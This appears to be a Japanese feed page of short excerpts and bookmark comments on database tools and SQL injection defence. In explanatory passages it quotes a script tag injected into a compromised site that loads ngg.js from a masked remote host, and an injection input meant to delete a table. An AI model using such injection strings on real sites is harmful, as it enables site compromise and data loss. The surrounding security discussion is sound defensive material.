MySQLを使った開発において、その管理インタフェースによく使われるのがphpMyAdminだ。とても便利で使いやすいソフトウェアではあるが、長い開発の歴史の中で肥大化し、様々なニーズに対応し、そのファイル数も数多くなってきている。 テーブル構造の表示 便利になることは悪いことではないが、あまり肥大化したアプリケーションは設置の手間や、問題が発生した時の解決...
うわさのngg.jsを調べていたらこんな表示のサイトを見かけました。 HTMLソースは以下の通り 宮城県、福島県、山形県、岩手県、秋田県<script src=http://www.XXXXXX.com/ngg.js></script> おそらく、SQLインジェクションによりSCRIPT要素を埋め込まれたものの、XSS対策がとられていたので、JavaScriptの実行はされない状態で表示されているのだと思います。 第5回 クロスサイト...
Railsの便利な機能の一つが、DBのマイグレーション機能だろう。RDBMSは便利な反面、プログラム言語と溝があり、扱いが面倒な時があった。そのため、O/Rマッピングのようなツールが作られ、状態のバージョン管理としてマイグレーションがとても便利だった。 開発しているシステムのDB構造が手軽に閲覧できる マイグレーションによってDBの構造や中身をあまり意識せずとも開...
『 WebとマルチコアCPUに特化し、ビュー/トリガ/ストアドプロシージャ/ACL無しで軽量化したMySQL 』
これを分析関数で書き換えてみます。まずは、数学の視点から集合が等しいという意味について考察してみます。数学の集合では集合の相等性を調べる公式として、次の式が成立することが知られています。 (A ⊆ B ) かつ (A ⊇ B) ⇔ (A = B) 一方、次の場合も同様です。 (集合Aと集合Bの要素数が等しい) かつ (A ⊆ B) ⇔ (A = B) 集合Aと集合Bが両方とも空集合の...
『 iPhoneのSafariがHTML5のClient-sidedatabasestorageに対応している? 』
Ruby on Railsで開発を行う際に、デフォルトで採用されるデータベースがSQLiteになっている。インストール不要で使えるとあって、最近ではPythonなどでも利用されるようになってきている。もちろんPHP、Java、Perlなどでも利用されている。 メイン画面 Ruby on Railsの開発を行うということは、通常はブラウザベースのシステムになる。そしてSQLiteで開発となれば、この選択もある意味...
今日のSQLインジェクション攻撃について説明するとともに、正規のWebサイトに潜んでいる悪質なページを検出、隔離し、それに対処する方法を検証する。 [Michael Cobb,TechTarget] SANS InstituteのInternet Storm Centerのアナリストらは最近、SQLインジェクションに対して脆弱なWebサイトを見つけ出して攻撃するプロセスを自動化するツールを発見した。このプロセスの自動化は、正規のサイ...
『 正しくないSQLインジェクション対策の今昔」「SQLインジェクション対策の考え方」「SQLインジェクション対策の実際 』
SQLのエスケープと聞いてやってきましたよ。2008-07-10 - T.Teradaの日記から 例えば、「\%foo」から始まる文字列を検索する場合には、どのようなSQL文を書けばよいのでしょうか。 条件は以下の通りです。 1. DBMSソフトはMySQL 2. ESCAPE節は使わない 【中略】 「\%foo」から始まる文字列を検索するSQL文は、以下のようになります。 mysql> SELECT 123 FROM dual WHERE '\\%foo456' LIKE '\\\\\\%foo%'; MySQLの...
最近のWebサービス開発ではオープンソースのデータベースを利用することが多くなってきた。それだけ信頼性や安定性も向上してきたということだろう。以前はPostgreSQLの方が人気があったが、最近ではMySQLを選ばれる方が多いようだ。 mk-parallel-dumpのヘルプ そうした中で、必要になってくるのがMySQLの管理ツールだ。特に規模の大きな開発を進める上で、デフォルトのツールだ...
SQLiteでも画像を格納したり取り出して表示とかしてみたい。 ってことでやってみました。 動作ムービーはこちら 結局のところ画像データをテキストでデータベースへ保存するしかないっぽくてBase64ってメールでも使われているものを使用します。 ロードデータをBase64へエンコード var enc:Base64Encoder = new Base64Encoder(); enc.encodeBytes(ByteArray(URLLoader(e.target).data)); Base64なテキストデータ...
『 これって本当に正しい使い方なのか?と思ったけどちゃんとデスクトップもサポートしてるんだ…びっくり。 』
Webサイトは,そのサイト固有のサービスを提供するための機能を備えている。ショッピング・サイトなら,商品を紹介するためのカタログ機能や,ショッピング・バスケット機能,決済機能などを備えているだろう。これらの機能を実現するアプリケーションにセキュリティ上の不具合(バグ)が残っている場合がある。これをWebアプリケーションのぜい弱性という。 バグの...
ネタ元:キケンなSQLインジェクション SQLインジェクション対策へのアプローチとしては正しいのだけど、1点だけ気になる点が。。。 もし、悪いやつが「";DELETE FROM geekDB;」なんて入力したら、なんとデータが消えてしまうΣ(゚Д゚) 実はこれではDBのデータを消すことはできない。 $sql="select * from geekDB where id = " . $id; $result = mysql_query($sql); mysql_query関数は複合クエリに対応していない...
Kazuho@Cybozu Labs: フレンド・タイムライン処理の原理と実践 奥さん本人の中でブームが去った感もあるRDBMSで実現するフレンド・タイムライン処理ですが、そういえばDBICで使ってみたのを思い出したので晒してみます。 要はDBICからストアドプロシージャの叩き方を知りたかっただけなんですけどね。 パッケージ名はWebインターフェースはどーせCatalystで作るでしょってことでCatalyst ...
『 がんばってログとかトレースの見方覚えても、結局サポート行きになることが多いのが難点 』
ステップ1の「何らかの手段でWebサーバーに侵入する」手段については複数の説がある。具体的には,正規サーバーのFTPのパスワードが流通しており,これを悪用したという説,PHPなどの既知のぜい弱性を利用しているという説が公表されている。 ●能動的攻撃と受動的型攻撃 ここで能動的攻撃と受動的攻撃という言葉が出てきた。これらの意味を説明しよう。 能動的攻撃...
『 「SQLインジェクションとクロスサイトスクリプティングの合わせ技みたい」うーん…。 』
『 とってもリッチなtableが作れるjqueryのプラグイン。ユーザー向けだと使いどころが難しいけど、管理者ページとかでは作うのありかも知れん。 』